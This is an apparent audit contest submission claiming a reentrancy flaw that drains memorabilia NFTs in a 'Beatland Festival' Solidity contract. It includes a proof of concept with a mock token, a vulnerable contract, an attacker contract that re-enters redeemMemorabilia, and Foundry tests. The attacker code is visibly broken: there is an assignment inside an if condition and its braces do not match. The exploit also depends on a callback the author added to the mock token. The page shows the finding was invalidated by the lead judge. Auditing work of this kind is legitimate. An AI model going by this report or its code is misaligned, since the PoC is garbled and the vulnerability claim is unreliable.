Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

The reentrancy attack point in the `FestivalPass::redeemMomrabilia` function allows to drain contract balance

[H-2] The reentrancy attack point in the FestivalPass::redeemMomrabilia function allows to drain contract balance

Description

The FestivalPass::redeemMemorabilia function does not follow CEI/FREI-PI and as a result, enables malicious participants to drain the contract balance. The code

// Redeem a memorabilia NFT from a collection
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
// Burn BEAT tokens
@> BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
@>
// Generate unique token ID
@> uint256 itemId = collection.currentItemId++;
@> uint256 tokenId = encodeTokenId(collectionId, itemId);
// Store edition number
@> tokenIdToEdition[tokenId] = itemId;
// Mint the unique NFT
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}

Risk

Likelihood:

It is possible in the case of attempting to redeem more than 1 memorabilia token per attender

Impact:

Reentrancy vulnerability code in FestivalPass::redeemMemorabilia allows to potentially malicious users to attempt to exploit this funciton and drain the entire memorabilia's supply.

Proof of Concept

Let's assume the next scenario:

  1. Attacker sets up a contract with a vulnerability.

  2. Users enters the fesival.

  3. Attacker take part in the festival

  4. Attacker calls FestivalPass::redeemMemorabilia from their contract repeadetly, draining the contract balance.

Proof of Code

Let`s assume we have a mocking BeatToken contract which can mimicking the original contract

contract MockBeatToken {
mapping(address => uint256) public balances;
address public festivalContract;
function setFestivalContract(address _festival) external {
festivalContract = _festival;
}
function mint(address to, uint256 amount) external {
//require(msg.sender == festivalContract, "Only_Festival_Mint");
balances[to] += amount;
}
function burnFrom(address from, uint256 amount) external {
require(msg.sender == festivalContract, "Only_Festival_Burn");
require(balances[from] >= amount, "Insufficient balance");
balances[from] -= amount;
// This is where the reentrancy can happen - if 'from' is a contract,
// it could implement fallback/receive and re-enter the festival contract
if (from.code.length > 0) {
// Simulate callback that could trigger reentrancy
(bool success,) = from.call(abi.encodeWithSignature("tokenBurned(uint256)", amount));
// We don't revert on failure to mimic potential vulnerable implementations
}
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
}

Next we have a simplified Festival contract with a similar vulnerability

contract VulnerableFestival {
struct MemorabiliaCollection {
string name;
string baseUri;
uint256 priceInBeat;
uint256 maxSupply;
uint256 currentItemId;
bool isActive;
}
mapping(uint256 => MemorabiliaCollection) public collections;
mapping(uint256 => uint256) public tokenIdToEdition;
mapping(address => mapping(uint256 => uint256)) public balanceOf;
address public beatToken;
uint256 public nextCollectionId = 1;
event MemorabiliaRedeemed(address indexed collector, uint256 indexed tokenId, uint256 collectionId, uint256 itemId);
constructor(address _beatToken) {
beatToken = _beatToken;
}
function createMemorabiliaCollection(
string memory name,
string memory baseUri,
uint256 priceInBeat,
uint256 maxSupply,
bool activateNow
) external returns (uint256) {
uint256 collectionId = nextCollectionId++;
collections[collectionId] = MemorabiliaCollection({
name: name,
baseUri: baseUri,
priceInBeat: priceInBeat,
maxSupply: maxSupply,
currentItemId: 1,
isActive: activateNow
});
return collectionId;
}
// VULNERABLE FUNCTION - This is the function with reentrancy vulnerability
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId <= collection.maxSupply, "Collection sold out");
// VULNERABILITY: External call before state changes
// This allows reentrancy through the burnFrom callback
MockBeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// State changes happen after external call - this is the vulnerability
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
balanceOf[msg.sender][tokenId] = 1;
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
function encodeTokenId(uint256 collectionId, uint256 itemId) public pure returns (uint256) {
return (collectionId << 128) + itemId;
}
function getCollectionInfo(uint256 collectionId) external view returns (
uint256 currentItemId,
uint256 maxSupply,
uint256 priceInBeat,
bool isActive
) {
MemorabiliaCollection storage collection = collections[collectionId];
return (collection.currentItemId, collection.maxSupply, collection.priceInBeat, collection.isActive);
}
}

We have contract which can simulate the attacker exploits this vulnerability. It has tokenBurned function is called when FestivalPass::burnFrom is executed

contract ReentrancyAttacker {
VulnerableFestival public festival;
MockBeatToken public beatToken;
uint256 public targetCollectionId;
uint256 public attackCount;
uint256 public maxAttacks = 5; // Limit to prevent infinite recursion in tests
constructor(address _festival, address _beatToken) {
festival = VulnerableFestival(_festival);
beatToken = MockBeatToken(_beatToken);
}
function setTarget(uint256 _collectionId) external {
targetCollectionId = _collectionId;
}
function attack() external {
attackCount = 0;
festival.redeemMemorabilia(targetCollectionId);
}
function tokenBurned(uint256 amount) external {
console.log("tokenBurned callback triggered, attack count:", attackCount);
if (attackCount = priceInBeat) {
console.log("Reentering redeemMemorabilia...");
festival.redeemMemorabilia(targetCollectionId);
}
}
}
function getTokenBalance(uint256 tokenId) external view returns (uint256) {
return festival.balanceOf(address(this), tokenId);
}
}

We have Test Contract to check out for the reentrancy cases

contract ReentrancyTest is Test {
MockBeatToken beatToken;
VulnerableFestival festival;
ReentrancyAttacker attacker;
function setUp() public {
// Deploy contracts
beatToken = new MockBeatToken();
festival = new VulnerableFestival(address(beatToken));
beatToken.setFestivalContract(address(festival));
attacker = new ReentrancyAttacker(address(festival), address(beatToken));
}
function testReentrancyAttack() public {
console.log("=== Starting Reentrancy Attack Test ===");
// Setup: Create a memorabilia collection
uint256 collectionId = festival.createMemorabiliaCollection(
"Limited Edition",
"ipfs://test",
100, // price in BEAT
5, // max supply
true // active
);
console.log("Created collection with ID:", collectionId);
// Give attacker enough BEAT tokens (more than needed for one redemption)
//vm.expectRevert("Only_Festival_Mint");
beatToken.mint(address(attacker), 1000);
console.log("Attacker BEAT balance:", beatToken.balanceOf(address(attacker)));
// Set the attack target
attacker.setTarget(collectionId);
// Get initial state
(uint256 initialCurrentItemId, uint256 maxSupply, uint256 priceInBeat, bool isActive) = festival.getCollectionInfo(collectionId);
console.log("Initial collection state:");
console.log(" Current Item ID:", initialCurrentItemId);
console.log(" Max Supply:", maxSupply);
console.log(" Price in BEAT:", priceInBeat);
console.log(" Is Active:", isActive);
// Execute the attack
console.log("\n=== Executing Attack ===");
attacker.attack();
// Check results
(uint256 finalCurrentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBeatBalance = beatToken.balanceOf(address(attacker));
console.log("\n=== Attack Results ===");
console.log("Final Current Item ID:", finalCurrentItemId);
console.log("Items redeemed:", finalCurrentItemId - initialCurrentItemId);
console.log("Final BEAT balance:", finalBeatBalance);
console.log("BEAT tokens spent:", 1000 - finalBeatBalance);
console.log("Expected BEAT tokens spent for legitimate redemption:", priceInBeat);
// Verify the attack succeeded
uint256 itemsRedeemed = finalCurrentItemId - initialCurrentItemId;
uint256 beatSpent = 1000 - finalBeatBalance;
// The attack should have allowed multiple redemptions with only one payment
// Due to reentrancy, the state changes happen after each external call
console.log("\n=== Verification ===");
if (itemsRedeemed > 1 && beatSpent < itemsRedeemed * priceInBeat) {
console.log("V REENTRANCY ATTACK SUCCESSFUL!");
console.log(" - Redeemed", itemsRedeemed, "items");
console.log(" - Only paid for", beatSpent / priceInBeat, "items");
console.log(" - Saved", (itemsRedeemed * priceInBeat) - beatSpent, "BEAT tokens");
} else {
console.log("X Attack did not succeed as expected");
}
// Check individual token ownership
console.log("\n=== Token Ownership ===");
for (uint256 i = 1; i < finalCurrentItemId; i++) {
uint256 tokenId = festival.encodeTokenId(collectionId, i);
uint256 balance = attacker.getTokenBalance(tokenId);
console.log("Token ID"); console.log(tokenId); console.log("(item"); console.log(i); console.log("): balance =", balance);
}
// Assert the vulnerability was exploited
assertTrue(itemsRedeemed > 1, "Should have redeemed multiple items");
console.log("Beat spent:", beatSpent);
console.log("Items redeemed: ",itemsRedeemed);
console.log("Price in beatToken: ",priceInBeat);
assertTrue(beatSpent <= itemsRedeemed * priceInBeat, "Should have paid less than full price");
}
function testNormalRedemption() public {
console.log("\n=== Testing Normal Redemption (for comparison) ===");
// Create another collection for normal user
uint256 collectionId = festival.createMemorabiliaCollection(
"Normal Collection",
"ipfs://normal",
100,
5,
true
);
// Create a normal user
address normalUser = address(0x123);
beatToken.mint(normalUser, 200);
console.log("Normal user BEAT balance:", beatToken.balanceOf(normalUser));
// Normal redemption
vm.startPrank(normalUser);
festival.redeemMemorabilia(collectionId);
vm.stopPrank();
(uint256 currentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBalance = beatToken.balanceOf(normalUser);
console.log("After normal redemption:");
console.log(" Current Item ID:", currentItemId);
console.log(" User BEAT balance:", finalBalance);
console.log(" BEAT tokens spent:", 200 - finalBalance);
assertEq(currentItemId, 2, "Should have incremented to 2");
assertEq(finalBalance, 100, "Should have spent exactly 100 BEAT");
}
}

Recommended Mitigation

To fix that issue we must to use CEI/FREI-PI: update the smartcontract's state at first. After that we can call BeatToken::burnFrom function

function redeemMemorabilia(uint256 collectionId) external {
...
- // Burn BEAT tokens
- BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
- // Generate unique token ID
- uint256 itemId = collection.currentItemId++;
- uint256 tokenId = encodeTokenId(collectionId, itemId);
- // Store edition number
- tokenIdToEdition[tokenId] = itemId;
+ // Generate unique token ID
+ uint256 itemId = collection.currentItemId++;
+ uint256 tokenId = encodeTokenId(collectionId, itemId);
+ // Store edition number
+ tokenIdToEdition[tokenId] = itemId;
+ // Burn BEAT tokens
+ BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Mint the unique NFT
...
}
  1. Using the OpenZeppelin's Reentrancy Guard

  2. Develop the custom mechanism to prevent reentrancy factor

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Appeal created

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.